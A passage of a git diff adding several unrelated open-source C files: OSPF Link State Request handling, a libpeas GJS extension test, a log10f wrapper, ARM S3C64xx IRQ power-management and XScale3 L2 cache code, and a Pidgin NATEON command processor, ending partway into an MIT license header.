License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License along + * with this program; if not, write to the Free Software Foundation, Inc., + * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. +*/ +#include "ospf.h" + +//A.3.4 The Link State Request packet +// +// Link State Request packets are OSPF packet type 3. After exchanging +// Database Description packets with a neighboring router, a router may +// find that parts of its link-state database are out-of-date. The +// Link State Request packet is used to request the pieces of the +// neighbor's database that are more up-to-date. Multiple Link State +// Request packets may need to be used. +// +// A router that sends a Link State Request packet has in mind the +// precise instance of the database pieces it is requesting. Each +// instance is defined by its LS sequence number, LS checksum, and LS +// age, although these fields are not specified in the Link State +// Request Packet itself. The router may receive even more recent +// instances in response. +// +// The sending of Link State Request packets is documented in Section +// 10.9. The reception of Link State Request packets is documented in +// Section 10.7. +// +// 0 1 2 3 +// 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +// | Version # | 3 | Packet length | +// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +// | Router ID | +// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +// | Area ID | +// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +// | Checksum | AuType | +// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +// | Authentication | +// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +// | Authentication | +// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +// | LS type | +// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +// | Link State ID | +// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +// | Advertising Router | +// +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ +// | ... | +// +// Each LSA requested is specified by its LS type, Link State ID, and +// Advertising Router. This uniquely identifies the LSA, but not its +// instance. Link State Request packets are understood to be requests +// for the most recent instance (whatever that might be). +// + +int lsrequestRx(OspfPacket *pkt, OspfPacketDesc *desc) { + int sz = ntohs(pkt->header.length) - sizeof(OspfHeader); + if (sz % sizeof(OspfLsRequest)) { + trap_IfRxBadPacket(desc->if_index, desc->ip_source, pkt->header.type); + rcpLog(muxsock, RCP_PROC_OSPF, RLOG_DEBUG, RLOG_FC_OSPF_PKT, + "invalid length"); + return 1; + } + + + // find area, network and neighbor + OspfArea *area = areaFind(desc->area_id); + if (area == NULL) { + trap_IfConfigError(desc->if_index, desc->ip_source, 2 /*areaMismatch*/, pkt->header.type); + return 1; + } + OspfNetwork *net = networkFindIp(desc->area_id, desc->ip_source); + if (net == NULL) { + trap_IfConfigError(desc->if_index, desc->ip_source, 2 /*areaMismatch*/, pkt->header.type); + return 1; + } + OspfNeighbor *nb = neighborFind(desc->area_id, desc->ip_source); + if (nb == NULL) { + return 1; + } + + if (nb->state < NSTATE_EXCHANGE) { + rcpLog(muxsock, RCP_PROC_OSPF, RLOG_DEBUG, RLOG_FC_OSPF_PKT, + "invalid negihbor state, packet ignored\n"); + return 0; + } + +// 10.7. Receiving Link State Request Packets +// +// This section explains the detailed processing of received Link +// State Request packets. Received Link State Request Packets +// specify a list of LSAs that the neighbor wishes to receive. +// Link State Request Packets should be accepted when the neighbor +// is in states Exchange, Loading, or Full. In all other states +// Link State Request Packets should be ignored. +// +// Each LSA specified in the Link State Request packet should be +// located in the router's database, and copied into Link State +// Update packets for transmission to the neighbor. These LSAs +// should NOT be placed on the Link state retransmission list for +// the neighbor. If an LSA cannot be found in the database, +// something has gone wrong with the Database Exchange process, and +// neighbor event BadLSReq should be generated. + + + int cnt = sz / sizeof(OspfLsRequest); + + // lsa accumulation + OspfLsa *outlist = NULL; + int i; + OspfLsRequest *lsrq = &pkt->u.req; + for (i = 0; i < cnt; i++, lsrq++) { + rcpLog(muxsock, RCP_PROC_OSPF, RLOG_DEBUG, RLOG_FC_OSPF_PKT, + "requesting type %u, id %d.%d.%d.%d, from %d.%d.%d.%d\n", + ntohl(lsrq->type), + RCP_PRINT_IP(ntohl(lsrq->id)), + RCP_PRINT_IP(ntohl(lsrq->adv_router))); + + OspfLsa *lsa = lsadbFindRequest(desc->area_id, lsrq); + if (lsa == NULL) { + rcpLog(muxsock, RCP_PROC_OSPF, RLOG_DEBUG, RLOG_FC_OSPF_PKT, + "requested type %u, id %d.%d.%d.%d, from %d.%d.%d.%d, not found in LSA database", + ntohl(lsrq->type), + RCP_PRINT_IP(ntohl(lsrq->id)), + RCP_PRINT_IP(ntohl(lsrq->adv_router))); + + nfsmBadLSReq(net, nb); + return 0; + } + else { + lsa->h.util_next = outlist; + outlist = lsa; + } + } + + if (outlist != NULL) { + OspfPacket out; + lsupdateBuildMultiplePkt(net, &out, outlist, 0); + txpacket_unicast(&out, net, nb->ip); + rcpLog(muxsock, RCP_PROC_OSPF, RLOG_DEBUG, RLOG_FC_OSPF_PKT, "LS Update sent to neighbor %d.%d.%d.%d", + RCP_PRINT_IP(nb->ip)); + outlist = NULL; + } + + return 0; +} + +void lsrequestBuildPkt(OspfNetwork *net, OspfNeighbor *nb, OspfPacket *pkt) { + // 10.9. Sending Link State Request Packets +// +// In neighbor states Exchange or Loading, the Link state request +// list contains a list of those LSAs that need to be obtained from +// the neighbor. To request these LSAs, a router sends the +// neighbor the beginning of the Link state request list, packaged +// in a Link State Request packet. +// +// When the neighbor responds to these requests with the proper +// Link State Update packet(s), the Link state request list is +// truncated and a new Link State Request packet is sent. This +// process continues until the Link state request list becomes +// empty. LSAs on the Link state request list that have been +// requested, but not yet received, are packaged into Link State +// Request packets for retransmission at intervals of RxmtInterval. +// There should be at most one Link State Request packet +// outstanding at any one time. + +// +// When the Link state request list becomes empty, and the neighbor +// state is Loading (i.e., a complete sequence of Database +// Description packets has been sent to and received from the +// neighbor), the Loading Done neighbor event is generated. +//(implemented in lsupdateRx()) + TRACE_FUNCTION(); + ASSERT(net != NULL); + ASSERT(pkt != NULL); + ASSERT(nb != NULL); + + if (nb->lsreq == NULL) { + ASSERT(0); + return; + } + memset(pkt, 0, OSPF_PKT_HDR_LEN); + + // add maximum OSPF_LS_REQ_MAX requests + int size = sizeof(OspfHeader); + OspfLsaHeaderList *lst = nb->lsreq; + OspfLsRequest *ptr = &pkt->u.req; + int cnt = 0; + while (lst != NULL) { + if (lst->ack == 0) { + OspfLsaHeader *lsa = &lst->header; + ptr->type = htonl(lsa->type); + ptr->id = lsa->link_state_id; + ptr->adv_router = lsa->adv_router; + ptr++; + size += sizeof(OspfLsRequest); + if (++cnt >= OSPF_LS_REQ_MAX) + break; + } + lst = lst->next; + } + + // add header + headerBuild(pkt, net, 3, size); + + // store a copy of the packet for retransmission + OspfPacket *last = malloc(sizeof(OspfPacket)); + if (last == NULL) { + printf("cannot allocate memory\n"); + exit(1); + } + memcpy(last, pkt, sizeof(OspfPacket)); + if (nb->last_lsreq_pkt != NULL) { + free(nb->last_lsreq_pkt); + } + nb->last_lsreq_pkt = last; + + // start rxmt timer + nb->lsreq_rxmt_timer = net->rxtm_interval; +} diff --git a/pool/shard011/C/0142337_extension-gjs.c b/pool/shard011/C/0142337_extension-gjs.c new file mode 100644 index 0000000000000000000000000000000000000000..963a7e0074e677a9eae2082644c2ceb9be5a6c41 --- /dev/null +++ b/pool/shard011/C/0142337_extension-gjs.c @@ -0,0 +1,94 @@ +/* + * extension-gjs.c + * This file is part of libpeas + * + * Copyright (C) 2011 - Garrett Regier + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU Library General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Library General Public License for more details. + * + * You should have received a copy of the GNU Library General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + */ + +#ifdef HAVE_CONFIG_H +#include +#endif + +#include + +#include "loaders/gjs/peas-extension-gjs.h" + +#include "testing/testing-extension.h" +#include "introspection/introspection-callable.h" + +static void +test_extension_gjs_plugin_info (PeasEngine *engine) +{ + PeasPluginInfo *info; + PeasExtension *extension; + PeasExtensionGjs *gexten; + jsval js_value; + GValue gvalue = { 0 }; + + info = peas_engine_get_plugin_info (engine, "extension-gjs"); + + g_assert (peas_engine_load_plugin (engine, info)); + + extension = peas_engine_create_extension (engine, info, + INTROSPECTION_TYPE_CALLABLE, + NULL); + + g_assert (PEAS_IS_EXTENSION (extension)); + + gexten = (PeasExtensionGjs *) extension; + + g_value_init (&gvalue, PEAS_TYPE_PLUGIN_INFO); + + g_assert (JS_GetProperty (gexten->js_context, gexten->js_object, + "plugin_info", &js_value)); + g_assert (gjs_value_to_g_value (gexten->js_context, js_value, &gvalue)); + + g_assert (g_value_get_boxed (&gvalue) == info); + + g_value_unset (&gvalue); + + g_object_unref (extension); +} + +static void +test_extension_gjs_nonexistent (PeasEngine *engine) +{ + PeasPluginInfo *info; + + testing_util_push_log_hook ("*Failed to open *extension-gjs-nonexistent.js*"); + testing_util_push_log_hook ("Error loading plugin 'extension-gjs-nonexistent'"); + + info = peas_engine_get_plugin_info (engine, "extension-gjs-nonexistent"); + + g_assert (!peas_engine_load_plugin (engine, info)); +} + +int +main (int argc, + char *argv[]) +{ + g_test_init (&argc, &argv, NULL); + + g_type_init (); + + EXTENSION_TESTS (gjs); + + EXTENSION_TEST (gjs, "plugin-info", plugin_info); + EXTENSION_TEST (gjs, "nonexistent", nonexistent); + + return testing_run_tests (); +} diff --git a/pool/shard011/C/0142338_wf_log10.c b/pool/shard011/C/0142338_wf_log10.c new file mode 100644 index 0000000000000000000000000000000000000000..e6e14e22b06af1e5d08290ee6fa048af907be8e8 --- /dev/null +++ b/pool/shard011/C/0142338_wf_log10.c @@ -0,0 +1,52 @@ +/* Copyright (C) 1994 DJ Delorie, see COPYING.DJ for details */ +/* w_log10f.c -- float version of w_log10.c. + * Conversion to float by Ian Lance Taylor, Cygnus Support, ian@cygnus.com. + */ + +/* + * ==================================================== + * Copyright (C) 1993 by Sun Microsystems, Inc. All rights reserved. + * + * Developed at SunPro, a Sun Microsystems, Inc. business. + * Permission to use, copy, modify, and distribute this + * software is freely granted, provided that this notice + * is preserved. + * ==================================================== + */ + +#if defined(LIBM_SCCS) && !defined(lint) +static char rcsid[] = "$Id: w_log10f.c,v 1.1 1994/08/10 20:35:20 jtc Exp $"; +#endif + +/* + * wrapper log10f(X) + */ + +#include "math.h" +#include "math_private.h" + + +#ifdef __STDC__ + float log10f(float x) /* wrapper log10f */ +#else + float log10f(x) /* wrapper log10f */ + float x; +#endif +{ +#ifdef _IEEE_LIBM + return __ieee754_log10f(x); +#else + float z; + z = __ieee754_log10f(x); + if(_LIB_VERSION == _IEEE_ || isnanf(x)) return z; + if(x<=(float)0.0) { + if(x==(float)0.0) + /* log10(0) */ + return (float)__kernel_standard((double)x,(double)x,118); + else + /* log10(x<0) */ + return (float)__kernel_standard((double)x,(double)x,119); + } else + return z; +#endif +} diff --git a/pool/shard011/C/0142339_irq-pm.c b/pool/shard011/C/0142339_irq-pm.c new file mode 100644 index 0000000000000000000000000000000000000000..edaedd52a9daa6348cf335c0c29c742a7cf32856 --- /dev/null +++ b/pool/shard011/C/0142339_irq-pm.c @@ -0,0 +1,111 @@ +/* arch/arm/plat-s3c64xx/irq-pm.c + * + * Copyright 2008 Openmoko, Inc. + * Copyright 2008 Simtec Electronics + * Ben Dooks + * http://armlinux.simtec.co.uk/ + * + * S3C64XX - Interrupt handling Power Management + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + */ + +#include +#include +#include +#include +#include +#include + +#include + +#include +#include +#include +#include +#include + +/* We handled all the IRQ types in this code, to save having to make several + * small files to handle each different type separately. Having the EINT_GRP + * code here shouldn't be as much bloat as the IRQ table space needed when + * they are enabled. The added benefit is we ensure that these registers are + * in the same state as we suspended. + */ + +static struct sleep_save irq_save[] = { + SAVE_ITEM(S3C64XX_PRIORITY), + SAVE_ITEM(S3C64XX_EINT0CON0), + SAVE_ITEM(S3C64XX_EINT0CON1), + SAVE_ITEM(S3C64XX_EINT0FLTCON0), + SAVE_ITEM(S3C64XX_EINT0FLTCON1), + SAVE_ITEM(S3C64XX_EINT0FLTCON2), + SAVE_ITEM(S3C64XX_EINT0FLTCON3), + SAVE_ITEM(S3C64XX_EINT0MASK), + SAVE_ITEM(S3C64XX_TINT_CSTAT), +}; + +static struct irq_grp_save { + u32 fltcon; + u32 con; + u32 mask; +} eint_grp_save[5]; + +static u32 irq_uart_mask[CONFIG_SERIAL_SAMSUNG_UARTS]; + +static int s3c64xx_irq_pm_suspend(void) +{ + struct irq_grp_save *grp = eint_grp_save; + int i; + + S3C_PMDBG("%s: suspending IRQs\n", __func__); + + s3c_pm_do_save(irq_save, ARRAY_SIZE(irq_save)); + + for (i = 0; i < CONFIG_SERIAL_SAMSUNG_UARTS; i++) + irq_uart_mask[i] = __raw_readl(S3C_VA_UARTx(i) + S3C64XX_UINTM); + + for (i = 0; i < ARRAY_SIZE(eint_grp_save); i++, grp++) { + grp->con = __raw_readl(S3C64XX_EINT12CON + (i * 4)); + grp->mask = __raw_readl(S3C64XX_EINT12MASK + (i * 4)); + grp->fltcon = __raw_readl(S3C64XX_EINT12FLTCON + (i * 4)); + } + + return 0; +} + +static void s3c64xx_irq_pm_resume(void) +{ + struct irq_grp_save *grp = eint_grp_save; + int i; + + S3C_PMDBG("%s: resuming IRQs\n", __func__); + + s3c_pm_do_restore(irq_save, ARRAY_SIZE(irq_save)); + + for (i = 0; i < CONFIG_SERIAL_SAMSUNG_UARTS; i++) + __raw_writel(irq_uart_mask[i], S3C_VA_UARTx(i) + S3C64XX_UINTM); + + for (i = 0; i < ARRAY_SIZE(eint_grp_save); i++, grp++) { + __raw_writel(grp->con, S3C64XX_EINT12CON + (i * 4)); + __raw_writel(grp->mask, S3C64XX_EINT12MASK + (i * 4)); + __raw_writel(grp->fltcon, S3C64XX_EINT12FLTCON + (i * 4)); + } + + S3C_PMDBG("%s: IRQ configuration restored\n", __func__); +} + +struct syscore_ops s3c64xx_irq_syscore_ops = { + .suspend = s3c64xx_irq_pm_suspend, + .resume = s3c64xx_irq_pm_resume, +}; + +static __init int s3c64xx_syscore_init(void) +{ + register_syscore_ops(&s3c64xx_irq_syscore_ops); + + return 0; +} + +core_initcall(s3c64xx_syscore_init); diff --git a/pool/shard011/C/0142340_cache-xsc3l2.c b/pool/shard011/C/0142340_cache-xsc3l2.c new file mode 100644 index 0000000000000000000000000000000000000000..99ec0302adf30b9bc9d19434e0efa3408bacf17c --- /dev/null +++ b/pool/shard011/C/0142340_cache-xsc3l2.c @@ -0,0 +1,182 @@ +/* + * arch/arm/mm/cache-xsc3l2.c - XScale3 L2 cache controller support + * + * Copyright (C) 2007 ARM Limited + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + */ +#include +#include + +#include +#include +#include + +#define CR_L2 (1 << 26) + +#define CACHE_LINE_SIZE 32 +#define CACHE_LINE_SHIFT 5 +#define CACHE_WAY_PER_SET 8 + +#define CACHE_WAY_SIZE(l2ctype) (8192 << (((l2ctype) >> 8) & 0xf)) +#define CACHE_SET_SIZE(l2ctype) (CACHE_WAY_SIZE(l2ctype) >> CACHE_LINE_SHIFT) + +static inline int xsc3_l2_present(void) +{ + unsigned long l2ctype; + + __asm__("mrc p15, 1, %0, c0, c0, 1" : "=r" (l2ctype)); + + return !!(l2ctype & 0xf8); +} + +static inline void xsc3_l2_clean_mva(unsigned long addr) +{ + __asm__("mcr p15, 1, %0, c7, c11, 1" : : "r" (addr)); +} + +static inline void xsc3_l2_clean_pa(unsigned long addr) +{ + xsc3_l2_clean_mva(__phys_to_virt(addr)); +} + +static inline void xsc3_l2_inv_mva(unsigned long addr) +{ + __asm__("mcr p15, 1, %0, c7, c7, 1" : : "r" (addr)); +} + +static inline void xsc3_l2_inv_pa(unsigned long addr) +{ + xsc3_l2_inv_mva(__phys_to_virt(addr)); +} + +static inline void xsc3_l2_inv_all(void) +{ + unsigned long l2ctype, set_way; + int set, way; + + __asm__("mrc p15, 1, %0, c0, c0, 1" : "=r" (l2ctype)); + + for (set = 0; set < CACHE_SET_SIZE(l2ctype); set++) { + for (way = 0; way < CACHE_WAY_PER_SET; way++) { + set_way = (way << 29) | (set << 5); + __asm__("mcr p15, 1, %0, c7, c11, 2" : : "r"(set_way)); + } + } + + dsb(); +} + +static void xsc3_l2_inv_range(unsigned long start, unsigned long end) +{ + if (start == 0 && end == -1ul) { + xsc3_l2_inv_all(); + return; + } + + /* + * Clean and invalidate partial first cache line. + */ + if (start & (CACHE_LINE_SIZE - 1)) { + xsc3_l2_clean_pa(start & ~(CACHE_LINE_SIZE - 1)); + xsc3_l2_inv_pa(start & ~(CACHE_LINE_SIZE - 1)); + start = (start | (CACHE_LINE_SIZE - 1)) + 1; + } + + /* + * Clean and invalidate partial last cache line. + */ + if (start < end && (end & (CACHE_LINE_SIZE - 1))) { + xsc3_l2_clean_pa(end & ~(CACHE_LINE_SIZE - 1)); + xsc3_l2_inv_pa(end & ~(CACHE_LINE_SIZE - 1)); + end &= ~(CACHE_LINE_SIZE - 1); + } + + /* + * Invalidate all full cache lines between 'start' and 'end'. + */ + while (start < end) { + xsc3_l2_inv_pa(start); + start += CACHE_LINE_SIZE; + } + + dsb(); +} + +static void xsc3_l2_clean_range(unsigned long start, unsigned long end) +{ + start &= ~(CACHE_LINE_SIZE - 1); + while (start < end) { + xsc3_l2_clean_pa(start); + start += CACHE_LINE_SIZE; + } + + dsb(); +} + +/* + * optimize L2 flush all operation by set/way format + */ +static inline void xsc3_l2_flush_all(void) +{ + unsigned long l2ctype, set_way; + int set, way; + + __asm__("mrc p15, 1, %0, c0, c0, 1" : "=r" (l2ctype)); + + for (set = 0; set < CACHE_SET_SIZE(l2ctype); set++) { + for (way = 0; way < CACHE_WAY_PER_SET; way++) { + set_way = (way << 29) | (set << 5); + __asm__("mcr p15, 1, %0, c7, c15, 2" : : "r"(set_way)); + } + } + + dsb(); +} + +static void xsc3_l2_flush_range(unsigned long start, unsigned long end) +{ + if (start == 0 && end == -1ul) { + xsc3_l2_flush_all(); + return; + } + + start &= ~(CACHE_LINE_SIZE - 1); + while (start < end) { + xsc3_l2_clean_pa(start); + xsc3_l2_inv_pa(start); + start += CACHE_LINE_SIZE; + } + + dsb(); +} + +static int __init xsc3_l2_init(void) +{ + if (!cpu_is_xsc3() || !xsc3_l2_present()) + return 0; + + if (!(get_cr() & CR_L2)) { + pr_info("XScale3 L2 cache enabled.\n"); + adjust_cr(CR_L2, CR_L2); + xsc3_l2_inv_all(); + } + + outer_cache.inv_range = xsc3_l2_inv_range; + outer_cache.clean_range = xsc3_l2_clean_range; + outer_cache.flush_range = xsc3_l2_flush_range; + + return 0; +} +core_initcall(xsc3_l2_init); diff --git a/pool/shard011/C/0142341_cmdproc.c b/pool/shard011/C/0142341_cmdproc.c new file mode 100644 index 0000000000000000000000000000000000000000..7469a5ca84d7660f43051f014f7842ecb7b5ee07 --- /dev/null +++ b/pool/shard011/C/0142341_cmdproc.c @@ -0,0 +1,364 @@ +/** + * @file cmdproc.c NATEON command processor functions + * + * purple + * + * Purple is the legal property of its developers, whose names are too numerous + * to list here. Please refer to the COPYRIGHT file distributed with this + * source distribution. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + */ +#include "nateon.h" +#include "cmdproc.h" + +NateonCmdProc * +nateon_cmdproc_new(NateonSession *session) +{ + NateonCmdProc *cmdproc; + + cmdproc = g_new0(NateonCmdProc, 1); + + cmdproc->session = session; + cmdproc->txqueue = g_queue_new(); + cmdproc->rxqueue = g_queue_new(); + cmdproc->history = nateon_history_new(); + + return cmdproc; +} + +void +nateon_cmdproc_destroy(NateonCmdProc *cmdproc) +{ + NateonTransaction *trans; + NateonCommand *cmd; + + while ((trans = g_queue_pop_head(cmdproc->txqueue)) != NULL) + nateon_transaction_destroy(trans); + + while ((cmd = g_queue_pop_head(cmdproc->rxqueue)) != NULL) + nateon_command_destroy(cmd); + + g_queue_free(cmdproc->txqueue); + g_queue_free(cmdproc->rxqueue); + + nateon_history_destroy(cmdproc->history); + + if (cmdproc->last_cmd != NULL) + nateon_command_destroy(cmdproc->last_cmd); + + g_free(cmdproc); +} + +void +nateon_cmdproc_process_rxqueue(NateonCmdProc *cmdproc) +{ + NateonCommand *cmd; + + while ((cmd = g_queue_pop_head(cmdproc->rxqueue)) != NULL) + { + g_assert( cmdproc->emoticon_download_cnt == 0 ); + nateon_cmdproc_process_cmd(cmdproc, cmd); + nateon_command_ref(cmd); + } +} + +void +nateon_cmdproc_queue_rx(NateonCmdProc *cmdproc, NateonCommand *cmd) +{ + g_return_if_fail(cmdproc != NULL); + g_return_if_fail(cmd != NULL); + + g_queue_push_tail(cmdproc->rxqueue, cmd); +} + + +void +nateon_cmdproc_process_txqueue(NateonCmdProc *cmdproc) +{ + NateonTransaction *trans; + + while ((trans = g_queue_pop_head(cmdproc->txqueue)) != NULL) + nateon_cmdproc_send_trans(cmdproc, trans); +} + +void +nateon_cmdproc_queue_tx(NateonCmdProc *cmdproc, NateonTransaction *trans) +{ + g_return_if_fail(cmdproc != NULL); + g_return_if_fail(trans != NULL); + + g_queue_push_tail(cmdproc->txqueue, trans); +} + +static void +show_debug_cmd(NateonCmdProc *cmdproc, gboolean incoming, const char *command) +{ + NateonServConn *servconn; + const char *names[] = { "NS", "SB" }; + char *show; + char tmp; + size_t len; + + servconn = cmdproc->servconn; + len = strlen(command); + show = g_strdup(command); + + tmp = (incoming) ? 'S' : 'C'; + + if ((show[len - 1] == '\n') && (show[len - 2] == '\r')) + { + show[len - 2] = '\0'; + } + + purple_debug_misc("nateon", "%c: %s %03d: %s\n", tmp, + names[servconn->type], servconn->num, show); + + g_free(show); +} + +void +nateon_cmdproc_send_trans(NateonCmdProc *cmdproc, NateonTransaction *trans) +{ + NateonServConn *servconn; + char *data; + size_t len; + + g_return_if_fail(cmdproc != NULL); + g_return_if_fail(trans != NULL); + + servconn = cmdproc->servconn; + + if (!servconn || !servconn->connected) + return; + + nateon_history_add(cmdproc->history, trans); + + data = nateon_transaction_to_string(trans); + + len = strlen(data); + + show_debug_cmd(cmdproc, FALSE, data); + + if (trans->callbacks == NULL) + trans->callbacks = g_hash_table_lookup(cmdproc->cbs_table->cmds, trans->command); + + if (trans->payload != NULL) + { + data = g_realloc(data, len + trans->payload_len); + memcpy(data + len, trans->payload, trans->payload_len); + len += trans->payload_len; + } + + nateon_servconn_write(servconn, data, len); + + g_free(data); +} + +//void +//nateon_cmdproc_send_quick(NateonCmdProc *cmdproc, const char *command, +// const char *format, ...) +//{ +// NateonServConn *servconn; +// char *data; +// char *params = NULL; +// va_list arg; +// size_t len; +// +// g_return_if_fail(cmdproc != NULL); +// g_return_if_fail(command != NULL); +// +// servconn = cmdproc->servconn; +// +// if (!servconn->connected) +// return; +// +// if (format != NULL) +// { +// va_start(arg, format); +// params = g_strdup_vprintf(format, arg); +// va_end(arg); +// } +// +// if (params != NULL) +// data = g_strdup_printf("%s %s\r\n", command, params); +// else +// data = g_strdup_printf("%s\r\n", command); +// +// g_free(params); +// +// len = strlen(data); +// +// show_debug_cmd(cmdproc, FALSE, data); +// +// nateon_servconn_write(servconn, data, len); +// +// g_free(data); +//} + +void +nateon_cmdproc_send(NateonCmdProc *cmdproc, const char *command, + const char *format, ...) +{ + NateonTransaction *trans; + va_list arg; + + g_return_if_fail(cmdproc != NULL); + g_return_if_fail(command != NULL); + + if (!cmdproc->servconn->connected) + return; + + trans = g_new0(NateonTransaction, 1); + + trans->command = g_strdup(command); + + if (format != NULL) + { + va_start(arg, format); + trans->params = g_strdup_vprintf(format, arg); + va_end(arg); + } + + nateon_cmdproc_send_trans(cmdproc, trans); +} + +void +nateon_cmdproc_process_payload(NateonCmdProc *cmdproc, char *payload, + int payload_len) +{ + NateonCommand *last; + + g_return_if_fail(cmdproc != NULL); + + last = cmdproc->last_cmd; + last->payload = g_memdup(payload, payload_len); + last->payload_len = payload_len; + + if (last->payload_cb != NULL) + last->payload_cb(cmdproc, last, payload, payload_len); +} + +//void +//nateon_cmdproc_process_msg(NateonCmdProc *cmdproc, NateonMessage *msg) +//{ +// NateonMsgTypeCb cb; +// +// if (nateon_message_get_content_type(msg) == NULL) +// { +// purple_debug_misc("nateon", "failed to find message content\n"); +// return; +// } +// +// cb = g_hash_table_lookup(cmdproc->cbs_table->msgs, +// nateon_message_get_content_type(msg)); +// +// if (cb == NULL) +// { +// purple_debug_warning("nateon", "Unhandled content-type '%s'\n", +// nateon_message_get_content_type(msg)); +// +// return; +// } +// +// cb(cmdproc, msg); +//} + +void +nateon_cmdproc_process_cmd(NateonCmdProc *cmdproc, NateonCommand *cmd) +{ + NateonTransCb cb = NULL; + NateonTransaction *trans = NULL; + + if (cmd->trId) + trans = nateon_history_find(cmdproc->history, cmd->trId); + + if (trans != NULL) + if (trans->timer) + purple_timeout_remove(trans->timer); + + if (g_ascii_isdigit(cmd->command[0])) + { + if (trans != NULL) + { + NateonErrorCb error_cb = NULL; + int error; + + error = atoi(cmd->command); + + if (trans->error_cb != NULL) + error_cb = trans->error_cb; + + if (error_cb == NULL && cmdproc->cbs_table->errors != NULL) + error_cb = g_hash_table_lookup(cmdproc->cbs_table->errors, trans->command); + + if (error_cb != NULL) + { + error_cb(cmdproc, trans, error); + } + else + { +#if 1 + nateon_error_handle(cmdproc->session, error); +#else + purple_debug_warning("nateon", "Unhandled error '%s'\n", + cmd->command); +#endif + } + + return; + } + } + + if (cmdproc->cbs_table->async != NULL) + cb = g_hash_table_lookup(cmdproc->cbs_table->async, cmd->command); + + if (cb == NULL && trans != NULL) + { + cmd->trans = trans; + + if (trans->callbacks != NULL) + cb = g_hash_table_lookup(trans->callbacks, cmd->command); + } +// +// if (cb == NULL && cmdproc->cbs_table->fallback != NULL) +// cb = g_hash_table_lookup(cmdproc->cbs_table->fallback, cmd->command); + + if (cb != NULL) + { + cb(cmdproc, cmd); + } + else + { + purple_debug_warning("nateon", "[%s] Unhandled command '%s'\n", + __FUNCTION__, cmd->command); + } + +// if (trans != NULL && trans->pendent_cmd != NULL) +// nateon_transaction_unqueue_cmd(trans, cmdproc); +} + +void +nateon_cmdproc_process_cmd_text(NateonCmdProc *cmdproc, const char *command) +{ + show_debug_cmd(cmdproc, TRUE, command); + + if (cmdproc->last_cmd != NULL) + nateon_command_destroy(cmdproc->last_cmd); + + cmdproc->last_cmd = nateon_command_from_string(command); + + nateon_cmdproc_process_cmd(cmdproc, cmdproc->last_cmd); +} diff --git a/pool/shard011/C/0142342_ncedit.c b/pool/shard011/C/0142342_ncedit.c new file mode 100644 index 0000000000000000000000000000000000000000..32d00d0748a79dcdf389fd4ada4b9bb675c9cd6f --- /dev/null +++ b/pool/shard011/C/0142342_ncedit.c @@ -0,0 +1,82 @@ +/************************************** + * The MIT License (MIT) + * Copyright (c) 2016, Nelson Crosby + * + * Permission is hereby granted, free of charge, to any person obtaining a + * copy of this software and associated documentation files (the "Software"), + * to deal in the Software without restriction, including without limitation + * the rights to use, copy, modify, merge, publish, distribute, sublicense, + * and/or sell copies of the Software, and to permit persons to whom the + * Software is furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included + * in all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS + * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * 